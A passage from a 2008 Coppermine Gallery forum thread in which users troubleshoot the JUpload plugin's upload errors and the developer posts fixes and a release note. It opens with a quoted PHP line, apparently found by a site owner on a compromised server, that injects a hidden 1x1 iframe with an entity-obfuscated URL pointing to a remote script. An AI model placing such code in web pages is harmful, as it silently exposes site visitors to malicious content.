}<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>


i am replacing these files with the original file.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Nibbler on April 09, 2008, 11:24:03 pm
This is not related to jUpload - don't blame the innocent.

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: genti555 on April 09, 2008, 11:48:11 pm
This is not related to jUpload - don't blame the innocent.

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html

Sorry Nibbler you are right.The problem did not come from jupload. thanks
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: drgonzo120 on April 16, 2008, 06:53:31 pm
hi, it works , thanks!!!

but the configuration is not saved in /httpdocs/coppermine/plugins/jupload/user/config.inc.php .... the file does not exist, when i create it and upload it, and want to cmhod it, it just dissapears !!!! i also tried putting it in the zip and uploaded it that way ... it was there ... but still nog configuration was saved (each time i open de cinfuration page the previously entered vlaues are gone, all is blank)

if i create it through the shell and chmod it 777, the plugin deletes it !

my coppermine version: Coppermine Photo Gallery 1.4.5 (stable)

but again: it works fine !!! i only want to change some options in de configuration and consolidate them


any help ?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: drgonzo120 on April 16, 2008, 07:30:20 pm
so strange

hehe

it doesn't save in that file and it doesn't show it when default values are put in :p

everything is ok
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 17, 2008, 03:50:37 pm
so strange

hehe

it doesn't save in that file and it doesn't show it when default values are put in :p

everything is ok

  It's saved into the Coppermine config table, into the database. I'll check if some old doc remain...

Etienne
Title: The string "^SUCCESS$" was not found in the response body
Post by: donsenilo on April 17, 2008, 08:07:28 pm
Hello

I use this great mod (3.0.3c) on 3 websites and it works perfectly ... BUT NOW ...

... I get this list of error-messages and can't upload pictures (the first 2x 2 pics are uploaded correctly, but then I get this):

Code: [Select]
19:33:14.921 [INFO] Debug level set to 0
19:33:14.921 [INFO] Current debug output file: D:\temp\Temp\jupload_25627_log.txt
19:33:14.937 [WARN] Invalid int value: true, using default value: 0
19:33:14.937 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:33:14.937 [INFO] maxFileSize: 102400000
19:33:15.390 [INFO] JUpload plugin for coppermine version 3.0.3c
19:34:44.296 [INFO] Debug level set to 1
19:34:44.296 [INFO] Current debug output file: D:\temp\Temp\jupload_25627_log.txt
19:34:44.296 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:34:44.296 [DEBUG] debugLevel: 1 (debugfile: D:\temp\Temp\jupload_25627_log.txt)
19:34:44.296 [INFO] maxFileSize: 102400000
19:34:58.687 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
19:34:58.703 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
19:34:58.703 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:614)
19:34:58.703 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
19:34:58.703 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
19:35:05.437 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Die HTTP Antwort erfllt nicht die Kriterien. Vorgang fehlgeschlagen. (Whrend des Log Managements ist ein Fehler aufgetreten (sbHttpResponseBody))
19:35:05.437 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Die HTTP Antwort erfllt nicht die Kriterien. Vorgang fehlgeschlagen.
19:35:05.437 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1103)
19:35:05.437 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:35:06.828 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
19:35:06.828 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
19:35:06.828 at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
19:35:06.828 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1135)
19:35:06.828 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:35:06.890 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Can someone help me please. I'm not a pro ...
Thanx

--------------
EDIT: Attached the Logfile ...
Title: Re: The string "^SUCCESS$" was not found in the response body
Post by: etienne_sf on April 18, 2008, 02:21:45 pm


Can someone help me please. I'm not a pro ...
Thanx

  As explained in the doc, please attach the debug output.

Etienne
Title: Re: The string "^SUCCESS$" was not found in the response body
Post by: russell235 on April 18, 2008, 09:07:17 pm
Hello

I use this great mod (3.0.3c) on 3 websites and it works perfectly ... BUT NOW ...

... I get this list of error-messages and can't upload pictures (the first 2x 2 pics are uploaded correctly, but then I get this):

did you change your upload directory or permissions on the folder?
Title: Re: The string "^SUCCESS$" was not found in the response body
Post by: donsenilo on April 19, 2008, 09:32:22 am
did you change your upload directory or permissions on the folder?

No.

But I found 2 things:
1. JUpload has successfully uploaded the pictures - they are in the correct directory on the server (permissions are ok, checked it with ftp)
2. "Fatal Error ... Allowed memory size of 33554432 bytes exhausted (tried to allocate 12288 bytes) in b>/is/htdocs/wp1012363_58XT577SEF/autosattler/cpg/plugins/jupload/include/j_picmgmt.inc.php</b> on line <b>1051</b><br />\n"
I don't know, what this message means ...
-------------------
EDIT:
Reading the FAQ, I understand know, what this message means ... but not why.
Opened a new thread to get help (I hope ...): http://forum.coppermine-gallery.net/index.php/topic,52062.0.html (http://forum.coppermine-gallery.net/index.php/topic,52062.0.html), because I think this thread is not the right place for this kind of problem.
-------------------
EDIT:
Problem solved.
Added "php_value memory_limit 64M" in htaccess. Now it works with big pictures.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: russell235 on April 21, 2008, 06:35:34 pm
I've noticed that this applet is compressing my original jpg image.  How can I make it compress the thumb and intermediate, but leave the original untouched, like the native coppermine upload method?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: russell235 on April 21, 2008, 07:08:45 pm
I posted a little too soon.  I see that you have to set "pictureTransmitMetadata = True"

Great work on this plugin :)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: my:phi on April 23, 2008, 12:12:26 am

Hi,

This plugin is just all what I need !

I have a question :
I don't have any categories in my coppermine, only albums. But I must specify one to upload with this applet or I can just update existing albums, not create a new one.
Do you know how to upload without categories ?

Thanks,

Try going back one version of the applet.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)

Hi everyone,

I have the same problem, that I don't have any categories in my gallery. I don't see the albums, that don't have a category. In the field "category" I only see my personal gallery (which is empty).

Now I've read, that I have to downgrade to solve this problem. Is there really no other solution for the latest version (I'm using version 3.0.3c)? And if not: To which version do I have to downgrade?

Thanks in advance!
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: jh_dempsey on April 23, 2008, 03:31:12 pm
Great program, but i have one little problem...

When i create a new album from within the JUpload page, the album appears at the very end of my album list, meaning I need to go to page 4 (or whatever my last page is) to find it.

I need it so that new albums appear at the top of the list. Any way to do this?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 24, 2008, 10:58:32 pm
Hi everyone,

I have the same problem, that I don't have any categories in my gallery. I don't see the albums, that don't have a category. In the field "category" I only see my personal gallery (which is empty).

Now I've read, that I have to downgrade to solve this problem. Is there really no other solution for the latest version (I'm using version 3.0.3c)? And if not: To which version do I have to downgrade?

Thanks in advance!

Note that the answer was given for an old version of JUpload. It should be applied to 3.0.3c.

I don't understand this : "I don't see the albums that don't have a category". That is: you see only albums in categories?


Can you give me more info:
- How do you connect (admin, other ?)
- ...

Perhaps a screen copy of your group settings would help. There are many combinations in Coppermine.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 24, 2008, 11:01:33 pm
Great program, but i have one little problem...

When i create a new album from within the JUpload page, the album appears at the very end of my album list, meaning I need to go to page 4 (or whatever my last page is) to find it.

I need it so that new albums appear at the top of the list. Any way to do this?

  What do you mean by page 4 ?  On the album page, you can change the album order for each category. Is it what you need ?

It's not currently possible from the JUpload interface.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: my:phi on April 24, 2008, 11:33:43 pm
Salut Etienne,

I don't understand this : "I don't see the albums that don't have a category". That is: you see only albums in categories?

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 26, 2008, 03:39:36 pm
Salut Etienne,

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

Ok.

  From the year in our albums name, I guess you didn't upload these albums with JUpload. Correct ?

I've seen something looking like that, and I thought it was a JUpload bug. I 'corrected' it. But it seems to be a Coppermine feature. I'll have to work on this one.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on April 27, 2008, 01:36:43 pm
Salut Etienne,

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

Checked.
  There is actually a problem.   :(

I guessed that 'Personal gallery' and 'No category' was the same, when being an admin. It's wrong, as it's not possible to move an album that is in a personal gallery to a Category, even when you're an admin.

  I'll correct that.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: my:phi on April 27, 2008, 02:16:45 pm
I'll correct that.

Great, thanks a lot!  :)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ceskobassman on May 03, 2008, 11:53:46 am
Hi, I'm having a problem, JUpload returns this error message: " wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 302 Moved Temporarily
"
Bye, Francesco
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 03, 2008, 03:10:56 pm
Hi, I'm having a problem, JUpload returns this error message: " wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 302 Moved Temporarily
"
Bye, Francesco

It means that there is some temporary work on your server. The location for your server part has temporarily changed. This HTTP response is currently not managed by the applet. It should 'fall in a working state' as soon as your server is ok again.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ceskobassman on May 03, 2008, 03:17:07 pm
What does it means that there is some temporary work on your server? I'm the server admin...is there something that I should do to resolve it?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 03, 2008, 03:31:19 pm
What does it means that there is some temporary work on your server? I'm the server admin...is there something that I should do to resolve it?

??

Hum, hum, hum,  ???

  I could paste some other 'hum', but it would not help much....

Can you check again, after a restart for instance.


  If you still have this, can you send me more info:
- Which web server and version ?
- jupload debug output
- anything particular about your server (location, ...)

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 03, 2008, 06:45:50 pm
Hy etienne,  ;D congratulations for this great peace of code.

I was really missing a good way to let people upload many files easly to coppermine.

I installes last version and did a test upload, setting the maximum file upload to 5000.


This was the debug output:

Code: [Select]
18:41:19.344 [INFO] Debug level set to 0
18:41:19.345 [INFO] Current debug output file: /tmp/jupload_59794_log.txt
18:41:19.348 [WARN] Invalid int value: true, using default value: 0
18:41:19.444 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
18:41:19.449 [INFO] maxFileSize: 50000000
18:41:19.858 [WARN] Invalid int value: , using default value: 0
18:41:20.021 [INFO] JUpload plugin for coppermine version 3.0.3c
18:42:41.149 [WARN] Invalid int value: , using default value: 0
18:42:52.929 [WARN] Invalid int value: , using default value: 0
18:43:13.365 [WARN] Invalid int value: , using default value: 0
18:43:34.660 [INFO] Debug level set to 1
18:43:34.661 [INFO] Current debug output file: /tmp/jupload_59794_log.txt
18:43:34.733 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
18:43:34.734 [DEBUG] debugLevel: 1 (debugfile: /tmp/jupload_59794_log.txt)
18:43:34.735 [INFO] maxFileSize: 50000000
18:43:52.029 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
18:43:52.030 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
18:43:52.030 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:614)
18:43:52.030 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
18:43:52.030 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
18:43:58.333 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] La respuesta del servidor HTTP no cumple los requisitos. La carga ha fallado. (Ocurri un error durante la gestin del log (sbHttpResponseBody))
18:43:58.333 wjhk.jupload2.exception.JUploadExceptionUploadFailed: La respuesta del servidor HTTP no cumple los requisitos. La carga ha fallado.
18:43:58.333 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1103)
18:43:58.333 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
18:43:59.877 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
18:43:59.878 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
18:43:59.878 at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
18:43:59.878 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1135)
18:43:59.878 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
18:44:00.099 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

TRied again changing the  pictureTransmitMetadata  to false and got:

Code: [Select]
18:54:03.810 [INFO] Debug level set to 0
18:54:03.811 [INFO] Current debug output file: /tmp/jupload_59801_log.txt
18:54:03.813 [WARN] Invalid int value: true, using default value: 0
18:54:03.814 [WARN] Invalid long value: 2Mb000, using default value: 9223372036854775807
18:54:03.898 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
18:54:03.901 [INFO] maxFileSize: 5000000
18:54:04.309 [WARN] Invalid int value: , using default value: 0
18:54:04.431 [INFO] JUpload plugin for coppermine version 3.0.3c
18:54:35.238 [INFO] Debug level set to 1
18:54:35.238 [INFO] Current debug output file: /tmp/jupload_59801_log.txt
18:54:35.310 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
18:54:35.311 [DEBUG] debugLevel: 1 (debugfile: /tmp/jupload_59801_log.txt)
18:54:35.311 [INFO] maxFileSize: 5000000
18:54:44.747 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
18:54:44.747 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
18:54:44.747 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:614)
18:54:44.747 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
18:54:44.747 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
18:54:48.637 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Can you give me a hint on what should I test next?
If you need a link to the gallery:
www.tripodart.net/website/gal
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 03, 2008, 07:08:24 pm
Hy, just wanted to add to my last post:
-I used firefox and got the errors.
Tried with safari and upload was succesful, BUT failed to watermarck image (i have stramm modepack installed)
Sound strange?
 ??? ???
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 03, 2008, 09:57:51 pm
Hy, just wanted to add to my last post:
-I used firefox and got the errors.
Tried with safari and upload was succesful, BUT failed to watermarck image (i have stramm modepack installed)
Sound strange?
 ??? ???

stramm modpack is not supported by jupload. Hope it will be included in next Coppermine version, so that I can update jupload according to it.

About your trouble: Are your sure of your max upload file ?  Try 2000 instead. Server often autorize up to 2M for post data. Then, you should send me the debug output in order to get help. If this debug output is not enough to understand, I'll give a try to your site.


Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Su8Z3r0 on May 04, 2008, 05:56:58 pm
Hi I have same problem as choupette549 in earlier post, With the runtime error. I have Version 1.4.18 coppermine and version 3.0.3c jupload. so i uninstall sun Java 5.12 (the one it tries to install) and install the latest version to date, and this fixes the problem on vista and xp. Is there a way to change the url to download sunjava in the script.?

thx
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ceskobassman on May 04, 2008, 07:31:48 pm
Hi, a restart didn't fix the problem
...
  If you still have this, can you send me more info:
- Which web server and version ?
- jupload debug output
- anything particular about your server (location, ...)
...
Web server is: Apache 2.2.3
This is what the plugin returns in webpage:
Code: [Select]
19:20:37.875 [INFO] Debug level set to 0
19:20:37.875 [INFO] Current debug output file: C:\DOCUME~1\FRANCE~1\IMPOST~1\Temp\jupload_47679_log.txt
19:20:37.906 [WARN] Invalid int value: true, using default value: 0
19:20:37.921 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:20:37.921 [INFO] maxFileSize: 2048000
19:20:38.562 [WARN] Invalid int value: , using default value: 0
19:20:38.578 [INFO] JUpload plugin for coppermine version 3.0.3c
19:22:09.031 [INFO] Debug level set to 1
19:22:09.031 [INFO] Current debug output file: C:\DOCUME~1\FRANCE~1\IMPOST~1\Temp\jupload_47679_log.txt
19:22:09.031 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:22:09.046 [DEBUG] debugLevel: 1 (debugfile: C:\DOCUME~1\FRANCE~1\IMPOST~1\Temp\jupload_47679_log.txt)
19:22:09.046 [INFO] maxFileSize: 2048000
19:22:11.406 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Received HTTP status 302 Moved Temporarily (Received HTTP status 302 Moved Temporarily)
19:22:11.406 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 302 Moved Temporarily
19:22:11.406 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:565)
19:22:11.406 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
19:22:11.406 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
19:22:14.531 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

and this: http://amp-cs.dyndns.org/juploadlog.txt (http://amp-cs.dyndns.org/juploadlog.txt) the log on my temp directory.

The link to the gallery is http://galleriascout.dynds.org/   that is "translated" in http://amp-cs.dyndns.org/galleriascout/
In Coppermine's configuration http://galleriascout.dynds.org/ is set as gallery's URL, if this is what you call "location", scuse me but I'm not english.

Bye, Francesco
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Nibbler on May 04, 2008, 07:42:32 pm
Set your gallery URL to your real URL - http://amp-cs.dyndns.org/galleriascout if the applet can't handle the redirect.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 04, 2008, 09:47:09 pm
Is there a way to change the url to download sunjava in the script.?

thx

Hum, hum ...  yes, this URL is quite old.

Noted. Added to my todo list.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 04, 2008, 09:50:04 pm

and this: http://amp-cs.dyndns.org/juploadlog.txt (http://amp-cs.dyndns.org/juploadlog.txt) the log on my temp directory.

The link to the gallery is http://galleriascout.dynds.org/   that is "translated" in http://amp-cs.dyndns.org/galleriascout/
In Coppermine's configuration http://galleriascout.dynds.org/ is set as gallery's URL, if this is what you call "location", scuse me but I'm not english.

Bye, Francesco

Hi,

  I think Nibbler comment is the good one.

I guess I should be able to manage the redirect in the applet ... in the future.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 04, 2008, 11:42:41 pm
stramm modpack is not supported by jupload. Hope it will be included in next Coppermine version, so that I can update jupload according to it.
Etienne

Thanks for the answer.
this plug in is wonderful, i'ts a pity cant use it with stramm modepack :( :( :'( :'(
Would it be very complicate to make it compatible? ???

I cant live without jupload till next coppermine version.... :'(
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ceskobassman on May 05, 2008, 04:16:53 pm
Thanks!!! All works fine now! Nice plugin, good work!

PS: I'm using it with the modepack...what is the problem?
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 06, 2008, 02:14:13 pm
For my experience, using Jupload with stramm modepack is fine, exept for the fact that the modepack will not watermark images correctly. :-\ This means I'll have to wait until it get's compatibilized!! :-\ :-\
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 07, 2008, 06:10:59 pm
Thanks for the answer.
this plug in is wonderful, i'ts a pity cant use it with stramm modepack :( :( :'( :'(
Would it be very complicate to make it compatible? ???

I cant live without jupload till next coppermine version.... :'(

A lot of people are using stramm modpack.

  I guess I'll have to work on this one sooner or later...

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 08, 2008, 07:34:17 pm
 ;) Ill' be glad to invite you to a pizza and a glass of wine if you manage to make jupload - stramm modepack compatible!!! ::)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 08, 2008, 07:56:57 pm
;) Ill' be glad to invite you to a pizza and a glass of wine if you manage to make jupload - stramm modepack compatible!!! ::)

one glass only ?  Perhaps you've big glasses, in Spain ...   ;)

  I have some details to correct before. I tested it once, and it was not really simple to adapt JUpload to it.

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: tinorebel on May 08, 2008, 08:14:50 pm
In fact we have some glasses like swimming pools in spain... ;D  ;D
Really I can't think of a better way to upload, specially for users who can't use batch upload.
I have heard CPG 1.5 is on the way...
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: mc0676 on May 13, 2008, 10:58:49 am
I've this problem:

[Edit GauGau] Replaced hotlinked image with attachment [/Edit]

Seems that one table was not create, what i need to try ?

I've cpg 1.4.18 bridged with vbulletin 3.7.0.

Thansk.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: mc0676 on May 13, 2008, 06:37:19 pm
Problem solve for me.

It work fine in my two board.

Really MANY MANY MANY thanks to the author of this BEAUTIFUL plugin !
Title: Release 3.1.0
Post by: etienne_sf on May 14, 2008, 11:14:33 pm
Hi,

  Here is the announce of the


You can download it on this link: http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11889 (http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=11889)
or on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Here is the change note:


Changes:
- [Doc] Better description of the pictureTransmitMetadata config parameter, and of picture compression behaviour of the plugin.
- [Minor] Add of a debug configuration parameter. It can have these values: false, true, admin.

Fixes
- [Major] The 'no category' category (sic !) is now correctly managed: JUpload allows the user to upload files to album
in this category, if he/she is allowed to. 
- [Major] The applet can now manage the 301, 302 and 303 HTTP return code for the postURL parameter.
- [Major] When dropping several files that should be refused (by the allowedFileExtensions parameter or by the upload
policy) the applet now displays a message each time (was only once for PictureUploadPolicy), and allows the user to
hit 'cancel', so that no more file are added for this drop.
- [Minor] Quotes are now correctly managed in album names and album description.




Regards
Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wj1927 on May 21, 2008, 11:39:40 pm
I'm using the latest version and I've been using it for a while tonight but now I get this error:

22:38:27.827 [ERROR] wjhk.jupload2.exception.JUploadException: unexpected EOF (unexpected EOF)
22:38:27.829 wjhk.jupload2.exception.JUploadException: unexpected EOF

Any ideas

Thanks ;)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: etienne_sf on May 23, 2008, 01:48:47 pm
I'm using the latest version and I've been using it for a while tonight but now I get this error:

22:38:27.827 [ERROR] wjhk.jupload2.exception.JUploadException: unexpected EOF (unexpected EOF)
22:38:27.829 wjhk.jupload2.exception.JUploadException: unexpected EOF

Any ideas

Thanks ;)

Hi,

  It seems like there is a network trouble between you and your server. Does it always happen, or from time to time ?

Can you give more info ?

Etienne
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wj1927 on May 23, 2008, 03:40:50 pm
Hi Etienne

Its ok now, I have 1 other site hosted with the same host and that went down round about the time I kept recieving the error so I'm moving host now has my uptime hasn't been great there, I'll post again if I get the same thing we my new host but hopefully I won't ;)
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ma_tt23 on May 26, 2008, 08:17:08 pm
Hi,

I upgraded my jupload plugin to the new version and now i can't upload anymore. Hope to find some help here. I've just uploaded all the new files above the old once (ver. 3.0.0rc4).
now i get this error:

Code: [Select]
[ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
Does someone know this?
A few posts ago i read something about the max file/chunk size. My is 2048 = 2MB.
I've added my error log.

Greets,
Matthias
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wj1927 on May 27, 2008, 03:32:57 pm
I get this error too from time to time and its to do with your

memory_limit = 8M; Maximum amount of memory a script may consume (8MB)

and it depends on your host's server, my host has their's currently set at 8mb which I think is standard for most hosts. If you try to upload the image through the normal upload process you will get the following:

Code: [Select]
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 11296 bytes) in /home/cdcoverh/public_html/covers/include/picmgmt.inc.php on line 262
This is an example, try and upload the file through the normal upload process and when you get this error speak to your host and give them the error message and they will be able to help you.

I sent a message to my host yesterday about the above error I got and they increased the upload limit for me but it still doesn't work, they may increase it for you and it may solve to problem, if it don't keep trying and be persistant with them, I am ;)

Hope this helps ;D
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ma_tt23 on May 27, 2008, 04:24:44 pm
i don't think it's the memory limit. I was able to upload my pictures for several months till the update of the plugin 2 days ago. I also resize the pictures before the upload. And also tested it with a small picture ~40kb but i get the same error.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wj1927 on May 27, 2008, 04:26:41 pm
Have you tried uploading the same picture through the normal upload process
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: ma_tt23 on May 27, 2008, 05:19:19 pm
Have you tried uploading the same picture through the normal upload process

yes, and it works.
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: wj1927 on May 27, 2008, 05:36:03 pm
right so it is the plugin, I just wanted to know if you could or couldn't upload the file through the normal process, I would wait for etienne_sf to help ;D
Title: Re: Upload applet (JUpload) : the easiest upload !
Post by: Tjnashster on May 28, 2008, 07:43:29 pm
Help please :) :) :)
When you go on jupload page it comes up with these errors
